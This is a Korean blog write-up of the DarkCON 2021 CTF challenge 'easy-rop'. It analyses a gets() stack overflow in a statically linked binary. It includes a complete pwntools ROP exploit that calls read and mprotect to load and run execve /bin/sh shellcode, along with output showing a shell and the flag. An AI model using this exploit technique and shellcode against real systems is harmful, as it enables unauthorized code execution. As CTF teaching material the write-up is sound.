푼 문제

 

문제 개요

64비트 Linux 바이너리 easy-rop가 주어집니다. 특이하게 정적으로 링킹되어 있으며, 보호 기법은 Canary와 NX가 적용되어 있습니다.

[*] '/home/user/study/ctf/dark21/pwn/easy-rop/easy-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

문제 분석

main 함수를 보면 다음과 같습니다.

void __fastcall main()
{
  int v0; // edx
  int v1; // ecx
  int v2; // er8
  int v3; // er9
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  setvbuf(stdin, 0LL, 2LL, 0LL);
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stderr, 0LL, 2LL, 0LL);
  alarm(64LL);
  puts("Welcome to the darkcon pwn!!");
  printf((unsigned int)"Let us know your name:", 0, v0, v1, v2, v3, buf[0]);
  gets((u32 *)buf);
}

 

15행에서 gets 함수는 경계 검사 없이 개행 문자('\n') 또는 EOF가 등장할 때까지 입력받으므로, 스택 버퍼 오버플로우가 발생합니다. 다만 정적으로 링킹된 바이너리이므로, 바이너리에 포함된 라이브러리 함수들을 이용해 익스플로잇 코드를 구성해야 합니다.

 

문제 풀이

IDA Pro로 바이너리를 열고 Exports 탭에서 바이너리에 포함된 라이브러리 함수들의 목록을 확인할 수 있습니다. 목록에서 read 함수와 mprotect 함수가 존재합니다.

read 함수
mprotect 함수

 

따라서 ROP 페이로드를 구성할 때 쓰기 가능한 메모리 공간에 read 함수로 셸코드를 입력받고, mprotect 함수로 실행 권한을 준 후 셸코드로 반환하도록 할 수 있습니다.

 

ROP 가젯은 "pop rdi ; ret", "pop rsi ; ret", "pop rdx ; ret"이 모두 존재합니다.

➜  easy-rop rp-lin-x64 --file=easy-rop --rop=2 | grep "pop" | grep "rdi"
...
0x00418b76: pop rdi ; ret  ;  (1 found)
➜  easy-rop rp-lin-x64 --file=easy-rop --rop=2 | grep "pop" | grep "rsi"
...
0x0048e050: pop rsi ; ret  ;  (1 found)
➜  easy-rop rp-lin-x64 --file=easy-rop --rop=2 | grep "pop" | grep "rdx"
...
0x0040181f: pop rdx ; ret  ;  (1 found)

 

또한 쓰기가 가능한 .bss 섹션의 공간이 충분하므로, .bss+0xde0 주소(0x4c3000)에 셸코드를 읽어 저장하도록 하였습니다.

➜  easy-rop readelf -S easy-rop -W
There are 32 section headers, starting at offset 0xd4678:
...
  [25] .bss              NOBITS          00000000004c2220 0c1210 001738 00  WA  0   0 32

 

따라서 익스플로잇 코드를 다음과 같이 작성할 수 있습니다.

#!/usr/bin/python
from pwn import *

# r = remote('65.1.92.179', 49153)
r = process('./easy-rop')
e = ELF('./easy-rop')

def main():
    gadget = 0x00418b76     # pop rdi ; ret
    gadget2 = 0x0048e050    # pop rsi ; ret
    gadget3 = 0x0040181f    # pop rdx ; ret

    read = 0x4510A0
    mprotect = 0x451EE0

    bss = 0x4c3000

    shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

    payload = 'a' * 0x48

    # read(0, bss, 23)
    payload += p64(gadget) + p64(0)
    payload += p64(gadget2) + p64(bss)
    payload += p64(gadget3) + p64(len(shellcode))
    payload += p64(read)

    # mprotect(bss, 0x1000, 7)
    payload += p64(gadget) + p64(bss)
    payload += p64(gadget2) + p64(0x1000)
    payload += p64(gadget3) + p64(7)
    payload += p64(mprotect)

    payload += p64(bss)

    r.sendlineafter('Let us know your name:', payload)
    pause()
    r.send(shellcode)

    r.interactive()

if __name__ == '__main__':
    main()
➜  easy-rop ./ex.py
[+] Starting local process './easy-rop': pid 17266
[*] '/home/user/study/ctf/dark21/pwn/easy-rop/easy-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker)
FLAG
darkCON{w0nd3rful_m4k1n9_sh3llc0d3_us1n9_r0p!!!}

'CTF > Pwn' 카테고리의 다른 글

[Dreamhack S1 Round #5] linux_forest  (1) 2021.02.26
[DarkCON 2021] Warmup  (0) 2021.02.22